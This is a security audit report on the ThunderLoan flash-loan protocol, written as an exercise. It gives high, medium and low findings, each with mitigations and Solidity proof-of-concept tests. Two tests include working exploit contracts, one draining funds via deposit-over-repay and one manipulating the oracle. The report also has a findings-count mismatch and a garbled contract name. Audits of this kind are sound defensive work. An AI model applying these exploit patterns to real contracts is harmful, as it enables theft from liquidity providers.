Protocol Audit Report

Version 1.0

Cyfrin.io

December 2, 2025

ThunderLoan Audit Report

Bree

December 1, 2025

Prepared by: Bree Lead Auditors: - Bree

Table of Contents

  - [H-3] Mixing up variable location causes strorage collisions in `ThunderLoan::s_flashLoanFee` and `ThunderLoan::s_currectlyFlashLoaning`, freezing protocol
  - [H-4] fee are less for non standard ERC20 Token

- Medium
  - [M-1] Using TSwap as price oracle leads to price and oracle manipulation attacks
  - [M-2] `ThunderLoan::setAllowedToken` can permanently lock liquidity providers out from redeeming their tokens

- Low
  - [L-1] `getCalculatedFee` can be as low as 0
  - [L-2] `updateFlashLoanFee()` missing event
  - [L-3] Mathematic operations handled without precision in `getCalculatedFee()` function in `ThunderLoan.sol`

Protocol Summary

The ThunderLoan protocol is meant to do the following:

1. Give users a way to create flash loans. The users can borrow any amount of assets from the protocol as long as they pay it back in the same transaction plus fees. If they don't pay it back, the transaction reverts and the loan is cancelled.
2. Give liquidity providers a way to earn money off their capital

Disclaimer

The Bree makes all effort to find as many vulnerabilities in the code in the given time period, but holds no responsibilities for the findings provided in this document. A security audit by the team is not an endorsement of the underlying business or product. The audit was time-boxed and the review of the code was solely on the security aspects of the Solidity implementation of the contracts.

Risk Classification

		Impact		
		High	Medium	Low
	High	H	H/M	M
Likelihood	Medium	H/M	M	M/L
	Low	M	M/L	L

We use the CodeHawks severity matrix to determine severity. See the documentation for more details.

Audit Details

Scope

- Commit Hash: 8803f851f6b37e99eab2e94b4690c8b70e26b3f6
- In Scope:

```
#-- interfaces
|   #-- IFlashLoanReceiver.sol
|   #-- IPoolFactory.sol
|   #-- ITSwapPool.sol
|   #-- IThunderLoan.sol
#-- protocol
|   #-- AssetToken.sol
|   #-- OracleUpgradeable.sol
|   #-- ThunderLoan.sol
#-- upgradedProtocol
    #-- ThunderLoanUpgraded.sol
```

- Solc Version: 0.8.20
- Chain(s) to deploy contract to: Ethereum
- ERC20s:
  - USDC
  - DAI
  - LINK
  - WETH

Roles

- Owner: The owner of the protocol who has the power to upgrade the implementation.
- Liquidity Provider: A user who deposits assets into the protocol to earn interest.
- User: A user who takes out flash loans from the protocol.

Executive Summary

Issues found

Severtity	Number of issues found
High	4
Medium	2
Low	2
Info	0
Total	8

Known Issues

- We are aware that `getCalculatedFee` can result in 0 fees for very small flash loans. We are OK with that. There is some small rounding errors when it comes to low fees
- We are aware that the first depositor gets an unfair advantage in assetToken distribution. We will be making a large initial deposit to mitigate this, and this is a known issue
- We are aware that "weird" ERC20s break the protocol, including fee-on-transfer, rebasing, and ERC-777 tokens. The owner will vet any additional tokens before adding them to the protocol.

Findings

High

[H-1] Erroneous `ThunderLoan::updateExchangeRate` in `deposit` function causes protocol to think it has more fees than it really does, which blocks users from redeeming and incorrectly sets the exchange rate

Description: In the Thunderloan system, the `exchangeRate` is responsible for calculating the exchange rate between assetTokens and underlying tokens. It's responsible for keeping track of how many fees to give to liquidity providers. However, the `deposit` function, updates this rate without collecting any fees.

```
    function deposit(IERC20 token, uint256 amount) external
       revertIfZero(amount) revertIfNotAllowedToken(token) {
        AssetToken assetToken = s_tokenToAssetToken[token];
        uint256 exchangeRate = assetToken.getExchangeRate();
        uint256 mintAmount = (amount * assetToken.
           EXCHANGE_RATE_PRECISION()) / exchangeRate;
        emit Deposit(msg.sender, token, amount);
        assetToken.mint(msg.sender, mintAmount);
        //@audit-high
@>          uint256 calculatedFee = getCalculatedFee(token, amount);
@>          assetToken.updateExchangeRate(calculatedFee);
        token.safeTransferFrom(msg.sender, address(assetToken), amount)
           ;
    }
```

Impact:

1. The `redeem` function is blocked, because the protocol thinks the owed tokens is more than it has
2. Rewards are incorrectly calculated, leading to liquidity providers potentially getting way more or less than deserved

Proof of Concept:

1. LP deposits
2. User takes out a flash loan
3. It is now impossible for LP to redeem

PoC

Place the following into ThunderLoanTest.t.sol

```
    function testRedeemAfterLoan() public setAllowedToken hasDeposits {
        uint256 amountToBorrow = AMOUNT * 10;
        uint256 calculatedFee = thunderLoan.getCalculatedFee(tokenA,
           amountToBorrow);
        vm.startPrank(user);
        tokenA.mint(address(mockFlashLoanReceiver), AMOUNT);
        thunderLoan.flashloan(address(mockFlashLoanReceiver), tokenA,
           amountToBorrow, "");
        vm.stopPrank();

        uint256 amountToRedeem = type(uint256).max;
        vm.startPrank(liquidityProvider);
        thunderLoan.redeem(tokenA, amountToRedeem);
    }
```

Recommended Mitigation: Remove the incorrectly updated exchange rate lines from `deposit`

```
    function deposit(IERC20 token, uint256 amount) external
       revertIfZero(amount) revertIfNotAllowedToken(token) {
        AssetToken assetToken = s_tokenToAssetToken[token];
        uint256 exchangeRate = assetToken.getExchangeRate();
        uint256 mintAmount = (amount * assetToken.
           EXCHANGE_RATE_PRECISION()) / exchangeRate;
        emit Deposit(msg.sender, token, amount);
        assetToken.mint(msg.sender, mintAmount);
        //@audit-high
-       uint256 calculatedFee = getCalculatedFee(token, amount);
-       assetToken.updateExchangeRate(calculatedFee);
        token.safeTransferFrom(msg.sender, address(assetToken), amount)
           ;
    }
```

[H-2] By calling a flashloan and then `ThunderLoan::deposit` instead of `ThunderLoan::repay` users can steal all funds from the protocol

Description: The `flashloan()` performs a crucial balance check to ensure that the ending balance, after the flash loan, exceeds the initial balance, accounting for any borrower fees. This verification is achieved by comparing `endingBalance` with `startingBalance + fee`. However, a vulnerability emerges when calculating endingBalance using `token.balanceOf(address(assetToken))`.

Exploiting this vulnerability, an attacker can return the flash loan using the `deposit()` instead of `repay()`. This action allows the attacker to mint `AssetToken` and subsequently redeem it using `redeem()`. What makes this possible is the apparent increase in the Asset contract's balance, even though it resulted from the use of the incorrect function. Consequently, the flash loan doesn't trigger a revert.

Impact: All the funds of the AssetContract can be stolen.

Proof of Concept: To execute the test successfully, please complete the following steps: 1. Borrow with flash loan. 2. During callback, deposit the borrowed money into the protocol. 3. Protocol mints you shares as if you deposited your own funds. 4. After the loan ends, redeem those shares. 5. Walk away with extra tokens (profit), draining funds.

Proof Of Code

```
    function testUserDepositsOverRepayToStealFunds() public
        setAllowedToken hasDeposits {
        vm.startPrank(user);
        uint256 amountToBorrow = 50e18;
        uint256 fee = thunderLoan.getCalculatedFee(tokenA,
            amountToBorrow);
        DepositOverRepay dor = new DepositOverRepay(address(thunderLoan
            ));
        tokenA.mint(address(dor), fee);
        thunderLoan.flashloan(address(dor), tokenA, amountToBorrow, "")
            ;
        dor.redeemMoney();
        vm.stopPrank();
        assertGt(tokenA.balanceOf(address(dor)), 50e18 + fee);
    }
}

contract DepositOverRepay is IFlashLoanReceiver {
    ThunderLoan thunderLoan;
    AssetToken assetToken;
    IERC20 s_token;

    constructor(address _thunderLoan) {
        thunderLoan = ThunderLoan(_thunderLoan);
    }

    function executeOperation(
        address token,
        uint256 amount,
        uint256 fee,
        address,
        bytes calldata
    )
        external
        returns (bool)
    {
        s_token = IERC20(token);
        IERC20(token).approve(address(thunderLoan), amount + fee);
        assetToken = thunderLoan.getAssetFromToken(IERC20(token));
        thunderLoan.deposit(IERC20(token), amount + fee);
```

```
            return true;
        }

        function redeemMoney() public {
            uint256 amount = assetToken.balanceOf(address(this));
            thunderLoan.redeem(s_token, amount);
        }
    }
```

Recommended Mitigation: Add a check in `deposit()` to make it impossible to use it in the same block of the flash loan.

[H-3] Mixing up variable location causes strorage collisions in `ThunderLoan::s_flashLoanFee` and `ThunderLoan::s_currectlyFlashLoaning`, freezing protocol

Description: `ThunderLo1000000000000000000an.sol` has two variables in the following order:

```
        uint256 private s_feePrecision;
        uint256 private s_flashLoanFee;
```

However,the upgraded contract `ThunderLoanUpgraded.sol` has them in a different order:

```
        uint256 private s_flashLoanFee; // 0.3% ETH fee
        uint256 public constant FEE_PRECISION = 1e18;
```

Due to how solidity storage works, after the upgrade the `s_flashLoanFee` will have the value of `s_feePrecision`. You cannot adjust the position of storage variables, and removing storage variables for constant variable breaks the storage locations as well.

Impact: After the upgrade, the `s_flashLoanFee` will have the value of `s_feePrecision`. This means the users who take flash loans after the upgrade will be charged the wrong fee. Also, the `s_currentlyFlashLoaning` will be mapping in the wrong storage slot.

Proof of Concept:

PoC

Place the following code into `ThunderLoanTest.t.sol`

```
import { ThunderLoanUpgraded } from "../../src/upgradedProtocol/
    ThunderLoanUpgraded.sol";
.
.
.
    function testUpgradeFails() public {
        uint256 feesBeforeUpgrade = thunderLoan.getFee();
        vm.startPrank(thunderLoan.owner());
        ThunderLoanUpgraded upgraded = new ThunderLoanUpgraded();
        thunderLoan.upgradeToAndCall(address(upgraded), "");
        uint256 feesAfterUpgrade = thunderLoan.getFee();
        vm.stopPrank();

        console2.log("Fee before:", feesBeforeUpgrade);
        console2.log("Fee After:", feesAfterUpgrade);
        assert(feesBeforeUpgrade != feesAfterUpgrade);
    }
```

Recommended Mitigation: If you must remove the storage variable, leave it as blank as to not mess up the storage slots.

```
-     uint256 private s_flashLoanFee; // 0.3% ETH fee
-     uint256 public constant FEE_PRECISION = 1e18;
+     uint256 private s_blank;
+     uint256 private s_flashLoanFee; // 0.3% ETH fee
+     uint256 public constant FEE_PRECISION = 1e18;
```

[H-4] fee are less for non standard ERC20 Token

Description: Within the functions `ThunderLoan::getCalculatedFee()` and `ThunderLoanUpgraded::getCalculatedFee()`, an issue arises with the calculated fee value when dealing with non-standard ERC20 tokens. Specifically, the calculated value for non-standard tokens appears significantly lower compared to that of standard ERC20 tokens.

```
//ThunderLoan.sol
 function getCalculatedFee(IERC20 token, uint256 amount) public view
     returns (uint256 fee) {
        //slither-disable-next-line divide-before-multiply
@>        uint256 valueOfBorrowedToken = (amount * getPriceInWeth(
    address(token))) / s_feePrecision;
        //slither-disable-next-line divide-before-multiply
@>        fee = (valueOfBorrowedToken * s_flashLoanFee) /
    s_feePrecision;
    }
```

```
//ThunderLoanUpgraded.sol
//ThunderLoanUpgraded.sol

 function getCalculatedFee(IERC20 token, uint256 amount) public view
     returns (uint256 fee) {
        //slither-disable-next-line divide-before-multiply
@>        uint256 valueOfBorrowedToken = (amount * getPriceInWeth(
    address(token))) / FEE_PRECISION;
```

```
        //slither-disable-next-line divide-before-multiply
@>        fee = (valueOfBorrowedToken * s_flashLoanFee) / FEE_PRECISION
    ;
    }
```

Impact:

Let's say: * user_1 asks a flashloan for 1 ETH. * user_2 asks a flashloan for 2000 USDT.

```
function getCalculatedFee(IERC20 token, uint256 amount) public view
    returns (uint256 fee) {

        //1 ETH = 1e18 WEI
        //2000 USDT = 2 * 1e9 WEI

        uint256 valueOfBorrowedToken = (amount * getPriceInWeth(address
            (token))) / s_feePrecision;

        // valueOfBorrowedToken ETH = 1e18 * 1e18 / 1e18 WEI
        // valueOfBorrowedToken USDT= 2 * 1e9 * 1e18 / 1e18 WEI

        fee = (valueOfBorrowedToken * s_flashLoanFee) / s_feePrecision;

        //fee ETH = 1e18 * 3e15 / 1e18 = 3e15 WEI = 0,003 ETH
        //fee USDT: 2 * 1e9 * 3e15 / 1e18 = 6e6 WEI = 0,000000000006
            ETH
    }
```

The fee for the user_2 are much lower then user_1 despite they asks a flashloan for the same value (hypotesis 1 ETH = 2000 USDT).

Recommended Mitigation: Adjust the precision accordinly with the allowed tokens considering that the non standard ERC20 haven't 18 decimals.

Medium

[M-1] Using TSwap as price oracle leads to price and oracle manipulation attacks

Description: The TSwap protocol is a constant product formula based AMM (automated market maker). The price of a token is determined by how many reserves are on either side of the pool. Because of this, it is easy for malicious users to manipulate the price of a token by buying or selling a large amount of the token in the same transaction, essentially ignoring protocol fees.

Impact: Liquidity providers will drastically reduced fees for providing liquidity.

Proof of Concept:

The following all happens in 1 transaction.

1. User takes a flash loan from `ThunderLoan` for 1000 `tokenA`. They are charged the original fee `fee1`. During the flash loan, they do the following:
    1. User sells 1000 `tokenA`, tanking the price.
    2. Instead of repaying right away, the user takes out another flash loan for another 1000 `tokenA`.
        1. Due to the fact that the way `ThunderLoan` calculates price based on the `TSwapPool` this second flash loan is substantially cheaper.

```
  function getPriceInWeth(address token) public view returns (
     uint256) {
   address swapPoolOfToken = IPoolFactory(s_poolFactory).
       getPool(token);
@>      return ITSwapPool(swapPoolOfToken).
     getPriceOfOnePoolTokenInWeth();
  }
```

    3. The user then repays the first flash loan, and then repays the second flash loan.

I have created a proof of code to test Oracle manipulation

Proof Of Code

```
    function testOracleManipulation() public {
        //1. setup contracts
        thunderLoan = new ThunderLoan();
        tokenA = new ERC20Mock();
        proxy = new ERC1967Proxy(address(thunderLoan), "");
        BuffMockPoolFactory pf = new BuffMockPoolFactory(address(weth))
           ;
        // create a Tswap Dex btn weth / Token A
        address tswapPool = pf.createPool(address(tokenA));
        thunderLoan = ThunderLoan(address(proxy));
        thunderLoan.initialize(address(pf));

        // 2. Fund TSwap
        vm.startPrank(liquidityProvider);
        tokenA.mint(liquidityProvider, 100e18);
        tokenA.approve(address(tswapPool), 100e18);
        weth.mint(liquidityProvider, 100e18);
        weth.approve(address(tswapPool), 100e18);
        BuffMockTSwap(tswapPool).deposit(100e18, 100e18, 100e18, block.
           timestamp);
        vm.stopPrank();


        // 3. Fund Thunderloan
        //set allow
        vm.prank(thunderLoan.owner());
        thunderLoan.setAllowedToken(tokenA, true);
        //fund
        vm.startPrank(liquidityProvider);
        tokenA.mint(liquidityProvider, 1000e18);
        tokenA.approve(address(thunderLoan), 1000e18);
        thunderLoan.deposit(tokenA, 1000e18);
        vm.stopPrank();



        //4. Manipulate price, we taking out 2 flash loans
        //   a. to nuke the price of weth/tokenA on Tswap
        //   b. to show that by doing so greatly reduces the fees we
            pay on thunderloan
        uint256 normalFeeCost = thunderLoan.getCalculatedFee(tokenA,
            100e18);
        console.log("Normal fee is:", normalFeeCost);
        // normal fee: .0.296147410319118389

        uint256 amountToBorrow = 50e18; // we'll do this twice
        MaliciousFlashLoanReceiver flr = new MaliciousFlashLoanReceiver
            (
             address(thunderLoan), address(tswapPool), address(
                thunderLoan.getAssetFromToken(tokenA))
        );

        vm.startPrank(user);
        tokenA.mint(address(flr), 100e18);
        thunderLoan.flashloan(address(flr), tokenA, amountToBorrow, "")
            ;
        vm.stopPrank();

        uint256 attackFee = flr.feeOne() + flr.feeTwo();
        console.log("Attack fee is:", attackFee);
        assert(attackFee < normalFeeCost);

    }
}

contract MaliciousFlashLoanReceiver {
    ThunderLoan thunderLoan;
    BuffMockTSwap tswapPool;
    address repayAddress;
    bool attacked;
    uint256 public feeOne;
    uint256 public feeTwo;

    constructor(address _thunderLoan, address _tswapPool, address
        _repayAddress) {
        thunderLoan = ThunderLoan(_thunderLoan);
        tswapPool = BuffMockTSwap(_tswapPool);
        repayAddress = _repayAddress;
    }

    function executeOperation(
        address token,
        uint256 amount,
        uint256 fee,
        address, //initiator,
        bytes calldata //params
    )
        external
        returns (bool)
    {
        if (!attacked) {
            //1. swap TokenA borrowed for weth
            //2. take out another flash loan to show the difference
            feeOne = fee;
            attacked = true;
            uint256 wethBrought = tswapPool.getOutputAmountBasedOnInput(50e18, 100e18, 100e18);
            IERC20(token).approve(address(tswapPool), 50e18);
            // let's tank the price
            tswapPool.swapPoolTokenForWethBasedOnInputPoolToken(50e18, wethBrought, block.timestamp);
            // we call a second flash loan
            thunderLoan.flashloan(address(this), IERC20(token), amount, "");
            // repay
            //IERC20(token).approve(address(thunderLoan), amount + fee);
            //thunderLoan.repay(IERC20(token), amount + fee);
            IERC20(token).transfer(address(repayAddress), amount + fee);
        } else {
            // calculate the fee and repay
            feeTwo = fee;
            // repay
            //IERC20(token).approve(address(thunderLoan), amount + fee);
            //thunderLoan.repay(IERC20(token), amount + fee);
            IERC20(token).transfer(address(repayAddress), amount + fee);
        }
        return true;
    }
}
```

Recommended Mitigation: Consider using a different price oracle mechanism, like a Chainlink price feed with a Uniswap TWAP fallback oracle.

[M-2] `ThunderLoan::setAllowedToken` can permanently lock liquidity providers out from redeeming their tokens

Description: If the `ThunderLoan::setAllowedToken` function is called with the intention of setting an allowed token to false and thus deleting the assetToken to token mapping; nobody would be able to redeem funds of that token in the 'ThunderLoan::redeem' function and thus have them locked away without access.

```
 function setAllowedToken(IERC20 token, bool allowed) external
    onlyOwner returns (AssetToken) {
        if (allowed) {
            if (address(s_tokenToAssetToken[token]) != address(0)) {
                revert ThunderLoan__AlreadyAllowed();
            }
            string memory name = string.concat("ThunderLoan ",
               IERC20Metadata(address(token)).name());
            string memory symbol = string.concat("tl", IERC20Metadata(
               address(token)).symbol());
            AssetToken assetToken = new AssetToken(address(this), token
               , name, symbol);
            s_tokenToAssetToken[token] = assetToken;
            emit AllowedTokenSet(token, assetToken, allowed);
            return assetToken;
        } else {
            AssetToken assetToken = s_tokenToAssetToken[token];
@>          delete s_tokenToAssetToken[token];
            emit AllowedTokenSet(token, assetToken, allowed);
            return assetToken;
        }
    }
```

```
     function redeem(
        IERC20 token,
        uint256 amountOfAssetToken
    )
        external
        revertIfZero(amountOfAssetToken)
@>      revertIfNotAllowedToken(token)
    {
        AssetToken assetToken = s_tokenToAssetToken[token];
        uint256 exchangeRate = assetToken.getExchangeRate();
        if (amountOfAssetToken == type(uint256).max) {
            amountOfAssetToken = assetToken.balanceOf(msg.sender);
        }
        uint256 amountUnderlying = (amountOfAssetToken * exchangeRate)
           / assetToken.EXCHANGE_RATE_PRECISION();
        emit Redeemed(msg.sender, token, amountOfAssetToken,
           amountUnderlying);
        assetToken.burn(msg.sender, amountOfAssetToken);
        assetToken.transferUnderlyingTo(msg.sender, amountUnderlying);
    }
```

Impact: If the owner sets an allowed token to false, this deletes the mapping of the asset token to that ERC20. If this is done, and a liquidity provider has already deposited ERC20 tokens of that type, then the liquidity provider will not be able to redeem them in the `ThunderLoan::redeem` function.

Proof of Concept: The below test passes with a ThunderLoan__NotAllowedToken error. Proving that a liquidity provider cannot redeem their deposited tokens if the setAllowedToken is set to false, Locking them out of their tokens.

```
    function testCannotRedeemNonAllowedTokenAfterDepositingToken()
        public {
        vm.prank(thunderLoan.owner());
        AssetToken assetToken = thunderLoan.setAllowedToken(tokenA,
            true);

        tokenA.mint(liquidityProvider, AMOUNT);
        vm.startPrank(liquidityProvider);
        tokenA.approve(address(thunderLoan), AMOUNT);
        thunderLoan.deposit(tokenA, AMOUNT);
        vm.stopPrank();

        vm.prank(thunderLoan.owner());
        thunderLoan.setAllowedToken(tokenA, false);

        vm.expectRevert(abi.encodeWithSelector(ThunderLoan.
            ThunderLoan__NotAllowedToken.selector, address(tokenA)));
        vm.startPrank(liquidityProvider);
        thunderLoan.redeem(tokenA, AMOUNT_LESS);
        vm.stopPrank();
    }
```

Recommended Mitigation: It would be suggested to add a check if that assetToken holds any balance of the ERC20, if so, then you cannot remove the mapping.

```
    function setAllowedToken(IERC20 token, bool allowed) external
        onlyOwner returns (AssetToken) {
        if (allowed) {
            if (address(s_tokenToAssetToken[token]) != address(0)) {
                revert ThunderLoan__AlreadyAllowed();
            }
            string memory name = string.concat("ThunderLoan ",
                IERC20Metadata(address(token)).name());
            string memory symbol = string.concat("tl", IERC20Metadata(
                address(token)).symbol());
            AssetToken assetToken = new AssetToken(address(this), token
                , name, symbol);
            s_tokenToAssetToken[token] = assetToken;
            emit AllowedTokenSet(token, assetToken, allowed);
            return assetToken;
        } else {
            AssetToken assetToken = s_tokenToAssetToken[token];
+           uint256 hasTokenBalance = IERC20(token).balanceOf(address(assetToken));
+           if (hasTokenBalance == 0) {
                delete s_tokenToAssetToken[token];
                emit AllowedTokenSet(token, assetToken, allowed);
+           }
            return assetToken;
        }
    }
```

Low

[L-1] `getCalculatedFee` can be as low as 0

Description: getCalculatedFee can be as low as 0

Impact: Low as this amount is really small

Proof of Concept: Any value up to 333 for "amount" can result in 0 fee based on calculation

```
    function testFuzzGetCalculatedFee() public {
        AssetToken asset = thunderLoan.getAssetFromToken(tokenA);

        uint256 calculatedFee = thunderLoan.getCalculatedFee(
            tokenA,
            333
        );

        assertEq(calculatedFee ,0);

        console.log(calculatedFee);
    }
```

Recommended Mitigation: A minimum fee can be used to offset the calculation, though it is not that important.

[L-2] `updateFlashLoanFee()` missing event

Description: `ThunderLoan::updateFlashLoanFee()` and `ThunderLoanUpgraded::updateFlashLoanFee()` does not emit an event, so it is difficult to track changes in the value `s_flashLoanFee` off-chain.

```
function updateFlashLoanFee(uint256 newFee) external onlyOwner {
        if (newFee > FEE_PRECISION) {
            revert ThunderLoan__BadNewFee();
        }
@>          s_flashLoanFee = newFee;
    }
```

Impact: In Ethereum, events are used to facilitate communication between smart contracts and their user interfaces or other off-chain services. When an event is emitted, it gets logged in the transaction receipt, and these logs can be monitored and reacted to by off-chain services or user interfaces.

Without a `FeeUpdated` event, any off-chain service or user interface that needs to know the current `s_flashLoanFee` would have to actively query the contract state to get the current value. This is less efficient than simply listening for the `FeeUpdated` event, and it can lead to delays in detecting changes to the `s_flashLoanFee`.

The impact of this could be significant because the `s_flashLoanFee` is used to calculate the cost of the flash loan. If the fee changes and an off-chain service or user is not aware of the change because they didn't query the contract state at the right time, they could end up paying a different fee than they expected.

Proof of Concept:

Recommended Mitigation:

```
+ event FeeUpdated(uint256 indexed newFee);

  function updateFlashLoanFee(uint256 newFee) external onlyOwner {
        if (newFee > s_feePrecision) {
            revert ThunderLoan__BadNewFee();
        }
        s_flashLoanFee = newFee;
+         emit FeeUpdated(s_flashLoanFee);
    }
```

[L-3] Mathematic operations handled without precision in `getCalculatedFee()` function in `ThunderLoan.sol`

Description: In a manual review of the ThunderLoan.sol contract, it was discovered that the mathematical operations within the getCalculatedFee() function do not handle precision appropriately. Specifically, the calculations in this function could lead to precision loss when processing fees. This issue is of low priority but may impact the accuracy of fee calculations. The identified problem revolves around the handling of mathematical operations in the getCalculatedFee() function. The code snippet below is the source of concern:

```
uint256 valueOfBorrowedToken = (amount * getPriceInWeth(address(token))
    ) / s_feePrecision;
fee = (valueOfBorrowedToken * s_flashLoanFee) / s_feePrecision;
```

The above code, as currently structured, may lead to precision loss during the fee calculation process, potentially causing accumulated fees to be lower than expected.

Impact: This issue is assessed as low impact. While the contract continues to operate correctly, the precision loss during fee calculations could affect the final fee amounts. This discrepancy may result in fees that are marginally different from the expected values.

Recommended Mitigation: To mitigate the risk of precision loss during fee calculations, it is recommended to handle mathematical operations differently within the getCalculatedFee() function. One of the following actions should be taken:

Change the order of operations to perform multiplication before division. This reordering can help maintain precision. Utilize a specialized library, such as math.sol, designed to handle mathematical operations without precision loss. By implementing one of these recommendations, the accuracy of fee calculations can be improved, ensuring that fees align more closely with expected values.